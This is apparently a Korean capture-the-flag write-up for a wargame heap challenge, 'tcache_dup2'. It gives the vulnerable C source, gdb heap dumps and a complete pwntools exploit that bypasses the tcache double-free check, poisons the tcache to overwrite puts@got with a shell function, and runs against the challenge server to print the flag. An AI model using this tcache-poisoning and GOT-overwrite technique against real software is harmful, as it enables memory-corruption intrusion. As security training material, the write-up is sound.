Description
이 문제는 서버에서 작동하고 있는 서비스(tcache_dup2)의 바이너리와 소스 코드가 주어집니다.
취약점을 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
Environment
Ubuntu 19.10 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
디버깅 실습을 위해 로컬 환경에서는 ubuntu 19.10 환경에서 테스트했다.
(libc 2.30-0ubuntu2.2)
checksec
seo@ubuntu:~/Documents/tcache_dup2$ checksec ./tcache_dup2 [*] '/home/seo/Documents/tcache_dup2/tcache_dup2' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
Source Code
tcache_dup2.c
#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> char *ptr[7]; void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); } void create_heap(int idx) { size_t size; if (idx >= 7) exit(0); printf("Size: "); scanf("%ld", &size); ptr[idx] = malloc(size); if (!ptr[idx]) exit(0); printf("Data: "); read(0, ptr[idx], size-1); } void modify_heap() { size_t size, idx; printf("idx: "); scanf("%ld", &idx); if (idx >= 7) exit(0); printf("Size: "); scanf("%ld", &size); if (size > 0x10) exit(0); printf("Data: "); read(0, ptr[idx], size); } void delete_heap() { size_t idx; printf("idx: "); scanf("%ld", &idx); if (idx >= 7) exit(0); if (!ptr[idx]) exit(0); free(ptr[idx]); } void get_shell() { system("/bin/sh"); } int main() { int idx; int i = 0; initialize(); while (1) { printf("1. Create heap\n"); printf("2. Modify heap\n"); printf("3. Delete heap\n"); printf("> "); scanf("%d", &idx); switch (idx) { case 1: create_heap(i); i++; break; case 2: modify_heap(); break; case 3: delete_heap(); break; default: break; } } }
1) create_heap
원하는 크기의 청크를 할당할 수 있다.
main_arena에서 heap 관리가 되지 않으며, tcache로 할당해야된다.
2) modify_heap
DFB 취약점을 사용하려면, modify_heap을 통해 이전 Tcache Poisoning 문제와 마찬가지로 e→key 값을 변조하기 위해 사용하면 될 것이다.
3) delete_heap
free(ptr[idx]);
를 통해 청크를 해제할 수 있다.
Solution
먼저, tcache로 9바이트 메모리를 할당하고 free를 하면,
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./tcache_dup2") def create(size, data): p.sendlineafter("> ", "1") p.sendlineafter("Size: ", str(size)) p.sendafter("Data: ", data) def modify(idx, size, data): p.sendlineafter("> ", "2") p.sendlineafter("idx: ", str(idx)) p.sendlineafter("Size: ", str(size)) p.sendafter("Data: ", data) def delete(idx): p.sendlineafter("> ", "3") p.sendlineafter("idx: ", str(idx)) # malloc 9bytes and filled with AAAA... create(9, "A"*8) delete(0) pause()
gdb-peda$ parseheap addr prev size status fd bk 0x405000 0x0 0x290 Used None None 0x405290 0x0 0x20 Freed 0x0 None gdb-peda$ heapinfoall (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x4052b0 (size : 0x20d50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](1): 0x4052a0 gdb-peda$ p *(tcache_entry *)0x4052a0 $1 = { next = 0x0, key = 0x405010 }
그러면 0x405010이 e→key 값이 된다.
DFB 취약점을 위해 B를 8바이트 더미로 채우고 e→key를 변조해보자.
# Bypass DFB mitigation modify(0, 9, "B"*8 + "\x00") pause()
gdb-peda$ parseheap addr prev size status fd bk 0x405000 0x0 0x290 Used None None 0x405290 0x0 0x20 Freed 0x4242424242424242 None gdb-peda$ heapinfoall (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x4052b0 (size : 0x20d50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](1): 0x4052a0 --> 0x4242424242424242 (invaild memory) gdb-peda$ parseheap addr prev size status fd bk 0x405000 0x0 0x290 Used None None 0x405290 0x0 0x20 Freed 0x4242424242424242 None gdb-peda$ p *(tcache_entry *)0x4052a0 $2 = { next = 0x4242424242424242, key = 0x405000 }
e→key 중 하위 1바이트가 “\x00″으로 덮어써진 것을 알 수 있다.
그리고 한번더 free를 해보면,
delete(0) pause()
gdb-peda$ heapinfoall (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x4052b0 (size : 0x20d50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](2): 0x4052a0 --> 0x4052a0 (overlap chunk with 0x405290(freed) )
DFB mitigation이 우회되어,
청크는 중첩상태가 된 것을 확인할 수 있다.
이제 임의의 주소에 값을 쓸 수 있다.
tcache에 삽입할 주소를 입력해서 fd를 수정해서 할당한다.
이를 통해 특정 영역에 heap을 할당하여 변조가 가능하게 되는데,
여기서는 쉘을 획득하기 위해 puts@got 주소에 get_shell 주소로 덮어썼다.
# Overwrite get_shell to puts@got e = ELF("./tcache_dup2") puts_got = e.got['puts'] get_shell = e.symbols['get_shell'] modify(0, 9, p64(puts_got)) #pause() create(9, 'C'*8) create(9, p64(get_shell)) p.interactive()
gdb-peda$ p *(tcache_entry *)0x4052a0 $1 = { next = 0x404020 <[email protected]>, key = 0x405010 } gdb-peda$ p *(struct malloc_chunk *)0x405290 $2 = { mchunk_prev_size = 0x0, mchunk_size = 0x21, fd = 0x404020 <[email protected]>, bk = 0x405010, fd_nextsize = 0x0, bk_nextsize = 0x20d51 }
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') #p = process("./tcache_dup2") p = remote("host3.dreamhack.games", 14912) def create(size, data): p.sendlineafter("> ", "1") p.sendlineafter("Size: ", str(size)) p.sendafter("Data: ", data) def modify(idx, size, data): p.sendlineafter("> ", "2") p.sendlineafter("idx: ", str(idx)) p.sendlineafter("Size: ", str(size)) p.sendafter("Data: ", data) def delete(idx): p.sendlineafter("> ", "3") p.sendlineafter("idx: ", str(idx)) # malloc 9bytes and filled with AAAA... create(9, "A"*8) delete(0) #pause() # Bypass DFB mitigation and free! modify(0, 9, "B"*8 + "\x00") delete(0) # pause() # Overwrite get_shell to puts@got e = ELF("./tcache_dup2") puts_got = e.got['puts'] get_shell = e.symbols['get_shell'] modify(0, 9, p64(puts_got)) create(9, 'C'*8) create(9, p64(get_shell)) p.interactive()
Result
seo@ubuntu:~/Documents/tcache_dup2$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 14912: Done [*] '/home/seo/Documents/tcache_dup2/tcache_dup2' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] Switching to interactive mode $ ls flag tcache_dup2 $ cat flag DH{025244482b3e8a14a2f2f1d984a753fa71a275918d61f6c2e3ae0980e2cb2a96}